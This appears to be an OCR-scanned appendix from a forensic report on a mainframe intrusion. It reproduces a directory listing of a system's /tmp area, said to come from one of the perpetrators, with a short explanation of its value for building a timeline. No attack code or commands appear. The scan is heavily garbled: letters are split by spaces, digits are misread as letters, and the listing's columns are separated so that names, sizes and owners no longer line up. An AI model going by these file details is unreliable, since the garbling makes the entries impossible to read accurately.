-rwxr-x--- 1 WMCM BA1 0384 106496 Mar 20 1 3 : 1 8  dxmqistc 

-rwxr-x--- 1 WMCM BA1 0384 106496 Mar 20 1 3 : 1 8  dxmqista 

-rwxr-x--- 1 WMCM BA1 0384 106496 Mar 20 1 3 : 1 8  dxx m qgen 

-rwxr-x--- 1 WMCM BA1 0384 106496 Mar 20 1 3 : 1 8  d x m q retc 

-rwxr-x--- 1 WMCM BA1 0384 106496 Mar 20 1 3 : 1 8  dxx m qsrd 

-rwxr-x--- 1 WMCM BA1 0384 106496 Mar 20 1 3 : 1 8  dxx m qsrc 

-rwxr-x--- 1 WMCM BA1 0384 106496 Mar 20 1 3 : 18 dxx m q s ra 

-rwxr-x--- 1 WMCM BA1 0384 106496 Mar 20 1 3 : 1 8  dxx m qsac 

-rwxr-x--- 1 WMCM BA1 0384 106496 Mar 20 1 3 : 18 dxx m q ret 

-rwxr-x--- 1 WMCM BA1 0384 106496 Mar 20 1 3 : 1 8  dxx m q i st 

-rwxr-x--- 1 WMCM BA1 0384 106496 Mar 20 1 3 : 1 8  dxx m qgnc 

-rwxr-x--- 1 WMCM BA1 0384 1 14688 Mar 20 1 3 : 1 8  d 1 x m q ret 
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-rwxr-x--- 1 WMCM BA1 0384 1 14688 Mar 20 1 3 : 1 8  d1xmqist 

-rwxr-x--- 1 WMCM BA1 0384 1 14688 Mar 20 1 3 : 1 8  d1xmqgnc 

-rwxr-x--- 1 WMCM BA1 0384 1 14688 Mar 20 1 3 : 1 8  d 1xmqgen 

-rwxr-x--- 1 WMCM BA1 0384 1 14688 Mar 20 1 3 : 18 d 1q istac 

-rwxr-x--- 1 WMCM BA1 0384 1 14688 Mar 20 1 3 : 1 8  d 1 m q retc 

-rwxr-x--- 1 WMCM BA1 0384 1 14688 Ma r 20 1 3 : 18 d 1 m qistc 

-rwxr-x--- 1 WMCM BA1 0384 1 14688 Mar 20 1 3 : 18 d 1 m q i sta 

-rwxr-x--- 1 WMCM BA1 0384 237 1584 Mar 20 1 3 : 1 8  s q lga l hv 

-rwxr-x--- 1 WMCM BA1 0384 196608 Mar 20 1 3 : 1 8  s q l exec 

-rwxr-x--- 1 WMCM BA1 0384 196608 Mar 20 1 3 : 1 8  s q l d bs 

-rwxr-x--- 1 WMCM BA1 0384 2285568 Mar 20 1 3 : 18 s e m n ews 

-rwxr-x--- 1 WMCM BA1 0384 2285568 Mar 20 1 3 : 1 8  s e m expd 

-rwxr-x--- 1 WMCM BA1 0384 4096 Mar 20 1 3 : 1 8  sea nsoro 

-rwxr-x--- 1 WMCM BA1 0384 196608 Mar 20 1 3 : 1 8  rxs ubcom 

-rwxr-x--- 1 WMCM BA1 0384 4096 Mar 20 1 3 : 1 8  rtt i m ss 

-rwxr-x--- 1 WMCM BA1 0384 4096 Mar 20 1 3 : 18 ptltsrb 

-rwxr-x--- 1 WMCM BA1 0384 32768 Mar 20 1 3 : 1 8  o ldc  

-rwxr-x--- 1 WMCM BA1 0384 147456 Mar 20 1 3 : 18 m q xm l e n b  

-rwxr-x--- 1 WMCM BA1 0384 147456 Mar 20 1 3 : 1 8  mqxmld is  

-rwxr-x--- 1 WMCM BA1 0384 2285568 Mar 20 1 3 : 1 8  errmsg 

-rwxr-x--- 1 WMCM BA1 0384 1 14688 Mar 20 1 3 : 18 d1xm qsrd 

-rwxr-x--- 1 WMCM BA1 0384 1 14688 Mar 20 1 3 : 1 8  d 1xmqsrc 

-rwxr-x--- 1 WMCM BA1 0384 1 14688 Mar 20 1 3 : 1 8  d1xmqsra 

-rwxr-x--- 1 WMCM BA1 0384 114688 Mar 20 1 3 : 18 d1xmqsac 

-rwxr-x--- 1 WMCM BA1 0384 4096 Mar 20 1 3 : 1 8  swedsort 

-rwxr-x--- 1 WMCM BA1 0384 2371584 Mar 20 1 3 : 1 8  s q l g i ntp 

-rwxr-x--- 1 WMCM BA1 0384 237 1584 Mar 20 1 3 : 1 8  s q l g i n i t  

-rwxr-x--- 1 WMCM BA1 0384 237 1584 Mar 20 1 3 : 18 s q lgfi n i  

-rwxr-x--- 1 WMCM BA1 0384 2371584 Mar 20 1 3 : 1 8  s q lgcmpl  

d rwxrwxrwx 2 W M C M BA1 0384 8 1 9 2  M a r  20 1 3 : 3 0  nav 

-rwsr-s r-x 1 OAF1473 E077 77824 Mar 23 06:05 d044 

-rw-r----- 1 W M C M BA 1  0384 5220 Mar 23 06:45 asdwm 

d rwxrwxrwx 3 B PXO F LTU 0384 73728 M a r  23 06:45 . 
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Appendix R: Fil e listing of attacker tools on SY1 9  

F i l e  l i st i ng  from the /tm p  fi l e a rea o f  SY19 made b y  on  e of the perpetrators. l t  was h a nded t o  us  by the i nvestigati ng po l i ce. 

Th i s  l i sti ng  i s  usefu l ,  s i n ce the /tm p  a rea h ave been mod if ied a nd  fi les have been de leted s i nce there was an emergency s ituat ion  a nd  there was no  free 

space on the  d i s k, thus  same ma i nfra me techn i c i ans  de leted unknown fi les in an attem pt to re lease same free d i s k  space.  

Th i s  l i sti ng g ive an ove rview of same of the 

• fi l e  a nd  d i rectory structu res that was ava i l a b l e  d u  ri ng the actua l  i nc ident .  

• The fi l e  creation  dates and  fi l e  owner, that i s  of use to lay out the ti me l i ne  

for when a certa i n  u se r  performed same  act ion  i n  t he  fi l e  system 

• The fi l e  na mes, fi l e  s i zes a nd  fi l e  permiss ions that i s  of use to try to esti m ate 

what is the fi l e  content a nd  use of the fi l e .  Was i t  a n  executa b le  fi l e?  Was it l a rge? 

. / SYS TEM/ tmp : 
total  4 8 0 4 0  
- rw- r - - - - - l SUPERUSR 03 8 4  4 May 3 1  2 0 0 2 IMWE 
- rwxr-xr-x  l 3 9 5 7 3  0 3 8 4  5 0 4 5  Oct  3 0  2 0 0 9  SYSHI S 2 0 0 9 1 0 2 7 . 1 4 1 3 1 4 . CNT 
drwxr-x- - - 3 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 5 : 0 9 a 

-

- rwxrwxrwx l BPXDFLTU 0 3 8 4  9 8 3 0 4  Mar 4 0 8 : 1 3 a . env 
-

drwxrwxrwx 3 SUPERUSR 0 3 8 4  2 4 5 7 6  Mar 5 1 7 : 2 8 a O  
drwxrwxrwx 2 SUPERUSR 0 3 8 4  8 1 9 2 Mar 5 1 7 : 1 9 a l  

-

- rw- rw-rw- l SUPERUSR 0 3 8 4  1 3 9 2 6 4 0  Mar 5 1 7 : 0 8 apt . tgz  
-

- rw- r - - r - - l SUPERUSR 03 8 4  3 6 2 4 9 6 0 Nov 1 2  2 0 0 8  c i c swsdl . tgz  
-

-rwxr -xr-x l BPXOFLTU 03 8 4  7 3 8  Mar 5 1 3 : 5 8  duku 
-

- rwxr-x- - - l BPXOFLTU 0 3 8 4  7 3 8  Mar 5 1 5 : 4 2  duqu 
- rwx- - - - - - l SUPERUSR 0 3 8 4  2 8 3 4  Feb 1 2  0 1 : 4 9 inetd . debug . s tderr  
- rwx- - - - - - l SUPERUSR 0 3 8 4  O Feb 1 2  0 1 : 4 9 inetd . debug . s tdout 
- rw- r - - - - - l BPXOFLTU 0 3 8 4  8 6 1 8  Feb 1 0  2 0 0 6  i n f i l  

--

- rwxr-xr-x  l BPXOFLTU 0 3 8 4  7 3 8  Mar 5 1 3 : 5 7 kuku 
drwxr-xr-x  2 3 3 1 8 5  0 3 8 4  8 1 9 2 Jun 4 2 0 0 8  mnt 
drwxr-xr-x  2 SUPERUSR 03 8 4  8 1 9 2 Sep 1 7  2 0 0 9  newva r 
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- rw- - - - - - - l SUPERUSR 03 8 4  O Feb 2 0  2 0 0 6  nohup . out 
- rwxrwxrw- l 7 7 2 2 9  0 3 8 4  1 0 7 0 8  May 8 2 0 0 7  pro f i l e . s oe 0 7 a  
- rw-rw- r-- l SUPERUSR 03 8 4  O Jun 2 9  2 0 0 4  r logind . s tderr  
- rw-rw-rw- l 1 5 5 9  0 3 8 4  O De c 5 2 0 0 7  rlogind2 . s tde rr 
drwxr-xr-x  3 SUPERUSR 03 8 4  8 1 9 2 Nov 7 2 0 0 8  s la s k  
- rwx- - - - - - l SUPERUSR 03 8 4  O Sep 2 0  2 0 0 7  s sh . output 
- rw-rw-rw- l SUPERUSR 03 8 4  9 Mar 7 0 6 : 4 1  s sh . p id  
- rw-rw-rw- l SUPERUSR 03 8 4  O Sep 2 0  2 0 0 7  s sh2 . output 
drwx- - - - - - 2 SUPERUSR 0 8 3 8  8 1 9 2 Ma r 7 0 6 : 4 1  s ys l ogd 
drwxr-x- - - 2 SUPERUSR S TCGROUP 8 1 9 2 Mar 5 1 4 : 3 0 u O  
drwxrwxrwx 3 SUPERUSR 03 8 4  2 0 4 8 0  Mar 5 1 4 : 1 1 uads 
- rw- r - - r - - l DAF1 4 7 3  03 8 4  1 9 6 1 2 8 4  Nov 1 8  2 0 0 8  w s 2bi la 4 . log 
- rw- r - - r - - l DAF1 4 7 3  03 8 4  1 9 6 1 4 6 9 Nov 1 2  2 0 0 8  w s 2b i lhl . log 
- rw- r - - r - - l 2 3 1 2 3 1  03 8 4  4 2 1 6  Aug 2 8  2 0 0 8  w s 2 l s . log  
- rw- r - - r - - l 2 3 1 2 3 1  0 3 8 4  4 7 4 2  Jun 5 2 0 0 8  w s 2 l s l . log  
- rw- r - - r - - l 2 3 1 2 3 1  0 3 8 4  4 7 5 0  Jun 5 2 0 0 8  w s 2 l s 2 . l og  
- rw- r - - r - - l DAF1 4 7 3  0 3 8 4  1 9 7 3 7 1 6  Oct  3 0  2 0 0 8  ws 2 l s r . log  
- rwxrwxrwx l 5 4 5 3 4 5  0 3 8 4  1 9 6 1 2 7  8 Nov 1 2  2 0 0 8  w s 2 l s x . log  
- rw- r - - r - - l DAF1 4 7 3  0 3 8 4  4 6 4 3 9 8 8  Jun 3 2 0 0 9  w s 2 nava4 . log 
- rw- r - - r - - l DAF1 4 7 3  0 3 8 4  4 6 4 3 8 8 6  Apr 1 6  2 0 0 9  w s 2navhl . log 
- rw- r - - r - - l DAF 1 4 7 3  0 3 8 4  4 8 6 6 6 May 2 6  2 0 1 1  w s 2 sparhl . l og 
- rw- r - - r - - l DAF1 4 7 3  0 3 8 4  3 8 3 0 8 1  Aug 2 7  2 0 0 9  w s 2 taxa4 . log 
- rw- r - - r - - l DAF 1 4 7 3  0 3 8 4  3 8 3 0 7 8  Sep 2 9  2 0 0 9  w s 2 taxh l . log 
- rw- r - - r - - l DAF1 4 7 3  0 3 8 4  1 3 1 6 1 9 4 Nov 1 8  2 0 0 8  w s 2 te la 4 . log 
drwxr-xr-x  5 SUPERUSR 03 8 4  8 1 9 2 May 1 3  2 0 0 7  X X  

. / SYSTEM/ tmp / a : 

. / SYSTEM/ tmp / a O : 
total  3 2 9 6  
- rw-rw-rw- l SUPERUSR 03 8 4  9 8 2  Mar 5 1 7 : 1 4 acledit  
- rw-rw-rw- l SUPERUSR 03 8 4  1 9 7 7  Mar 5 1 7 : 1 4 a fhwl 
- rw-rw-rw- l SUPERUSR 03 8 4  2 1 7 4  Mar 5 1 7 : 1 4 a fhwl g  
-rw- rw-rw- l SUPERUSR 03 8 4  3 4 0 2  Mar 5 1 7 : 1 4 a fhwn 
- rw- rw- rw- l SUPERUSR 03 8 4  5 1 0 3 Mar 5 1 7 : 1 4 a fhwrl 
- rw-rw-rw- l SUPERUSR 0 3 8 4  5 8 3 2 Mar 5 1 7 : 1 4 a fhwrlg  
- rw- rw-rw- l SUPERUSR 03 8 4  7 4 6  Mar 5 1 7 : 1 4 anfwproc 
- rw-rw-rw- l SUPERUSR 03 8 4  5 9 4 Mar 5 1 7 : 1 4  aopprint  
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- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw- rw-
- rw-rw- rw-
- rw-rw-rw-
- rw- rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw- rw-
- rw-rw-rw-
- rw- rw-rw-
- rw-rw-rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw- rw-
- rw-rw-rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw- rw-
- rw- rw- rw-
- rw- rw-rw-
- rw- rw-rw-
- rw- rw-rw-
- rw-rw-rw-
- rw-rw-rw-

l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  

1 4 0 0  Mar 
1 4 1 3  Mar 
3 3 2 1  Mar 

1 6 2 Mar 
1 5 5 0  Mar 
7 2 2 4  Mar 

1 0 3 5 5  Mar 
4 7 9 2 Mar 

1 3 0 4 4  Mar 
6 4 0 0  Mar 

1 2 5 4 3  Mar 
8 8 8 8  Mar 

1 6 2 Mar 
6 4 8 0  Mar 
1 8 1 5 Ma r 
1 9 8 0  Ma r 
2 1 7 3  Mar 
2 3 0 1  Mar 

1 6 2 Mar 
3 5 6 4 Mar 
5 8 3 2 Mar 
2 3 4 9  Mar 
2 4 3 0  Mar 
4 4 5 5 Mar 
3 4 8 3  Mar 

9 7 2  Mar 
7 2 9  Mar 

2 3 8 6  Mar 
3 0 6 2 Mar 
3 5 9 0 Mar 
4 5 5 3 Mar 
5 1 7 5  Mar 
5 4 9 8 Mar 
6 1 3 6  Mar 
1 8 9 1 Mar 
4 1 3 4  Ma r 
3 1 1 5  Ma r 
3 7 3 9  Mar 

5 1 7 : 1 4 aopstart 
5 1 7 : 1 4  aopstop 
5 1 7 : 1 4  api j p j c l  
5 1 7 : 1 4  appc 
5 1 7 : 1 4 apswa fpd 
5 1 7 : 1 4 apswproa 
5 1 7 : 1 4 apswprob 
5 1 7 : 1 4 apswproc 
5 1 7 : 1 4 apswprof  
5 1 7 : 1 4 apswprom 
5 1 7 : 1 4 apswpror  
5 1 7 : 1 4 apswprot 
5 1 7 : 1 4 a s ch 
5 1 7 : 1 4 a s chint  
5 1 7 : 1 4 a smac 
5 1 7 : 1 4 a smacg 
5 1 7 : 1 4 a smac l  
5 1 7 : 1 4 a smaclg  
5 1 7 : 1 4 avm 
5 1 7 : 1 4  axrnn 
5 1 7 : 1 4 axrps trt 
5 1 7 : 1 4 bdtÅv2 sp 
5 1 7 : 1 4 bdtÅv2tp 
5 1 7 : 1 4 b l s j ipcs  
5 1 7 : 1 4 b l s j prmi 
5 1 7 : 1 4 bpxas  
5 1 7 : 1 4 bpxoinit  
5 1 7 : 1 4  cbcb 
5 1 7 : 1 4 cbcbg 
5 1 7 : 1 4 cbcc 
5 1 7 : 1 4 cbccb 
5 1 7 : 1 4 cbccbg 
5 1 7 : 1 4 cbcc l  
5 1 7 : 1 4  cbcclg  
5 1 7 : 1 4 cbcg 
5 1 7 : 1 4 cbci 
5 1 7 : 1 4 cbcl 
5 1 7 : 1 4 cbcl g  
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-rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
-rw- rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw- rw-
-rw- rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
-rw-rw-rw-
- rw-rw-rw-
-rw-rw-rw-
-rw-rw-rw-
-rw- rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-

l SUPERUSR D3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  

2 3 3 5  Mar 
2 9 6 4  Mar 
4 3 6 5 Mar 
4 9 8 7  Ma r 
4 7 6 7 Mar 
2 4 5 8 Mar 
3 0 8 7  Mar 
4 4 9 5 Ma r 
5 1 1 7  Mar 
1 8 9 1 Mar 
4 7 6 7 Mar 
1 1 3 4 Mar 

5 2 1  Mar 
2 3 4 9  Mar 

8 1 0  Mar 
1 4 9 5 9  Mar 
2 9 7 7  Mar 
4 1 6 4 Mar 
3 7 9 3  Mar 
4 5 8 4  Mar 
5 1 1 4  Mar 
4 2 9 9  Mar 
6 1 2 0  Mar 
2 5 1 8  Mar 
3 5 9 0 Mar 
5 4 9 8  Mar 
6 1 3 6  Mar 
3 5 0 1  Mar 
1 2 8 1  Mar 
3 1 1 5 Mar 
3 7 3 9  Mar 
1 8 9 1 Mar 
4 1 3 4 Mar 
2 3 8 6  Mar 
3 0 6 2 Mar 
4 5 5 3  Mar 
5 1 7 5  Mar 
4 3 1 8  Mar 

5 1 7 : 1 4 cbcqb 
5 1 7 : 1 4  cbcqbg 
5 1 7 : 1 4 cbcqcb 
5 1 7 : 1 4 cbcqcbg 
5 1 7 : 1 4 cbcqi 
5 1 7 : 1 4 cbcxb 
5 1 7 : 1 4 cbcxbg 
5 1 7 : 1 4 cbcxcb 
5 1 7 : 1 4 cbcxcbg 
5 1 7 : 1 4 cbcxg 
5 1 7 : 1 4 cbcxi 
5 1 7 : 1 4 cbdj cmpr  
5 1 7 : 1 4 cbdj impt 
5 1 7 : 1 4  cbdj iocp 
5 1 7 : 1 4 cbdj rpt s 
5 1 7 : 1 4  cbdj xmit  
5 1 7 : 1 4 cbdqa j s k  
5 1 7 : 1 4 cbdqdi sp 
5 1 7 : 1 5 ccnc O O l  
5 1 7 : 1 5 ccnc0 0 2  
5 1 7 : 1 5 c cnc 0 0 3  
5 1 7 : 1 5  ccnc 0 0 4  
5 1 7 : 1 5 ccnc0 0 5  
5 1 7 : 1 5  ccnc 0 0 6  
5 1 7 : 1 5 c cnc 0 0 7  
5 1 7 : 1 5 ccnc 0 0 8  
5 1 7 : 1 5 ccnc 0 0 9  
5 1 7 : 1 4  c cnc O O a  
5 1 7 : 1 5 ccnc O lb 
5 1 7 : 1 5 c cnc O l c  
5 1 7 : 1 5 c cnc O ld  
5 1 7 : 1 5 c cnc O l e  
5 1 7 : 1 5 ccncO l f  
5 1 7 : 1 5 c cnc 0 2 0  
5 1 7 : 1 5  ccnc 0 2 1  
5 1 7 : 1 5 ccnc 0 2 2  
5 1 7 : 1 5 ccnc 0 2 3  
5 1 7 : 1 5  c cnc 0 2 4  
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- r w - r w - r w -

- r w - r w - rw -

- r w - r w - r w -

- rw - r w - r w -

- r w - r w - r w -

- r w - r w - r w -

- r w - r w - r w -

- rw - r w - r w -

- r w - r w - r w -

- r w - r w - r w -

- r w - r w - r w -

- r w - r w - r w -

- r w - r w - r w -

- r w - r w - r w -

- r w - r w - r w -

- r w - r w - r w -

- rw - r w - rw -

- r w - r w - rw -

- r w - r w - rw -

- rw - r w - r w -

- rw - r w - r w -

- rw - r w - r w -

- r w - r w - rw -

- r w - r w - rw -

- rw - r w - r w -

- r w - r w - r w -

- rw - r w - r w -

- rw - r w - r w -

- r w - r w - rw -

- r w - r w - rw -

- rw - r w - r w -

- rw - r w - r w -

- r w - r w - r w -

drwxr-xr-x  
- rw - r w - rw -

- r w - r w - r w -

- r w - r w - rw -

- r w - r w - r w -

l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D3 8 4  
4 SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D3 8 4  
l SUPERUSR D 3 8 4  
l SUPERUSR D 3 8 4  

4 8 S 4  Mar 
4 3 3 9  Mar 
4 8 7 S  Mar 
2 4 S 8  Mar 
3 0 8 7  Mar 
4 4 9 S Mar 
S 1 1 7  Mar 
4 7 6 7 Mar 
4 S 6 3 Mar 
2 1 0 3 Mar 
2 6 0 7  Mar 
4 2 2 S  Mar 
4 7 S S Mar 
2 3 3 S  Mar 
2 9 6 4 Mar 
4 3 6 5 Mar 
4 9 8 7  Mar 
2 4 9 6 Mar 
2 3 7 4  Mar 
2 S 6 8 Mar 
2 S 8 2  Mar 
1 3 3 8  Mar 

9 9 0 Mar 
3 8 8 8  Mar 
2 4 9 4 Mar 
2 8 4 6  Mar 
2 8 6 6 Mar 
2 2 7 S  Ma r 
2 6 7 2  Mar 
2 0 3 4  Mar 
4 8 4 3  Mar 
S 0 3 4 Mar 
3 1 6 9  Mar 
8 1 9 2 Mar 
1 S 2 2  Mar 

7 6 9 Mar 
7 9 2 0  Mar 
7 9 2 0  Mar 

S 1 7 : 1 S ccnc 0 2 S  
S 1 7 : 1 S ccnc0 2 6  
S 1 7 : 1 S  c cnc 0 2 7  
S 1 7 : 1 5  ccnc 0 2 9  
S 1 7 : 1 S ccnc 0 2 c  
S 1 7 : 1 S ccnc 0 2 d  
S 1 7 : 1 S ccnc 0 2 e  
S 1 7 : 1 S ccnc 0 2 f  
S 1 7 : 1 S c cnc 0 3 0  
S 1 7 : 1 S ccnc 0 3 1  
S 1 7 : 1 S ccnc 0 3 2  
S 1 7 : 1 S  ccnc 0 3 3  
5 1 7 : 1 S ccnc 0 3 4  
S 1 7 : 1 S ccnc 0 4 1  
5 1 7 : 1 S ccnc 0 4 2  
S 1 7 : 1 S  ccnc 0 4 3  
S 1 7 : 1 S ccnc 0 4 4  
S 1 7 : 1 S  c cnpdlb 
S 1 7 : 1 S ccnqpdlb 
S 1 7 : 1 S c cnxpdlb 
S 1 7 : 1 S cdaasmc 
S 1 7 : 1 S cdadbgld 
s 1 7 : 1 S cdscp 
s 1 7 : 1 S cea  
S 1 7 : 1 S  ceewg 
S 1 7 : 1 S  ceewl 
S 1 7 : 1 S ceewlg 
S 1 7 : 1 S ceexl 
S 1 7 : 1 S ceexl r 
S 1 7 : 1 S ceexr 
S 1 7 : 1 S  cel 4 l dpr 
S 1 7 : 1 S celhldpr 
S 1 7 : 1 S  c f z cim 
s 1 7 : 2 8 c i c s t s  
S 1 7 : 1 S c rtcp 0 0 2  
S 1 7 : 1 S c s f s tart 
S 1 7 : 1 S c sqlms rr 
S 1 7 : 1 S  c sq2ms rr 
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- rw- rw- rw-
- rw-rw-rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-
- rw-rw-rw-
- rw-rw- rw-
- rw-rw- rw-
- rw- rw-rw-
- rw- rw- rw-
- rw- rw- rw-
- rw- rw- rw-
- rw- rw- rw-
- rw-rw-rw-
-rw-rw-rw-
- rw-rw-rw-
- rw- rw- rw-
- rw- rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw-rw-
- rw-rw-rw-
- rw-rw-rw-
-rw- rw-rw-
- rw- rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw- rw-
- rw-rw-rw-
- rw-rw-rw-
- rw-rw-rw-
- rw- rw- rw-
- rw-rw-rw-

l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 03 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  
l SUPERUSR 0 3 8 4  

7 9 2 0  Mar 
7 9 2 0  Mar 
1 0 5 3  Mar 
1 2 8 1  Mar 
1 1 1 6  Mar 
1 1 1 0  Mar 

9 8 6  Ma r 
1 1 2 2  Mar 
1 1 1 0  Ma r 
1 6 5 6  Mar 

7 0 1  Mar 
1 1 4 0  Mar 
1 1 1 5  Mar 

4 0 5  Mar 
2 3 4 9  Mar 

8 1 0  Mar 
3 0 7 8  Mar 
2 7  0 0  Mar 

4 6 2 Mar 
2 7 9 7 Ma r 
7 7 7 6  Ma r 

2 5 9  Mar 
9 9 0  Mar 
9 7 2  Mar 

2 5 2 8  Mar 
3 3 1 3  Mar 
2 9 3 8  Ma r 
2 2 3 0  Mar 
3 7 9 3  Mar 
4 3 1 8  Mar 
4 8 5 4  Mar 
4 5 8 4  Ma r 
5 1 1 4  Mar 
4 2 9 9  Mar 
6 1 2 0  Mar 
2 5 1 8  Mar 
2 9 3 8  Mar 
3 5 0 1  Mar 

5 1 7 : 1 5  c sq3ms rr 
5 1 7 : 1 5  c sq4ms rr 
5 1 7 : 1 5  cvaftr  
5 1 7 : 1 5  cxx f i l t  
5 1 7 : 1 5  dceaudd 
5 1 7 : 1 5 dcecdsd 
5 1 7 : 1 5 dcecp 
5 1 7 : 1 5 dcedt stp 
5 1 7 : 1 5  dcegdad 
5 1 7 : 1 5 dce ke rn 
5 1 7 : 1 5 dce login  
5 1 7 : 1 5 dcepwdd 
5 1 7 : 1 5 dce s e cd 
5 1 7 : 1 5 dea l l o c  
5 1 7 : 1 5 devman 
5 1 7 : 1 5 dfhsmabr 
5 1 7 : 1 5 dfm 
5 1 7 : 1 5 dfs  
5 1 7 : 1 5 dfscm 
5 1 7 : 1 5 dfs ke rn 
5 1 7 : 1 5 dfsmshsm 
5 1 7 : 1 5 dl f 
5 1 7 : 1 5 dt s cp 
5 1 7 : 1 5 dump s rv 
5 1 7 : 1 5 e agl  
5 1 7 : 1 5  edc4p 0 0 2  
5 1 7 : 1 5  edc4p 0 0 6  
5 1 7 : 1 5 edc4p 0 0 7  
5 1 7 : 1 5 edcc 
5 1 7 : 1 5  edccb 
5 1 7 : 1 5 edccbg 
